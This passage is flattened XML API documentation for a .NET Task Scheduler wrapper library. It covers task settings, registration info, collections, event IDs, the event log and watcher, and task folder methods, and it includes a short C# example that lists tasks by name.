successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that 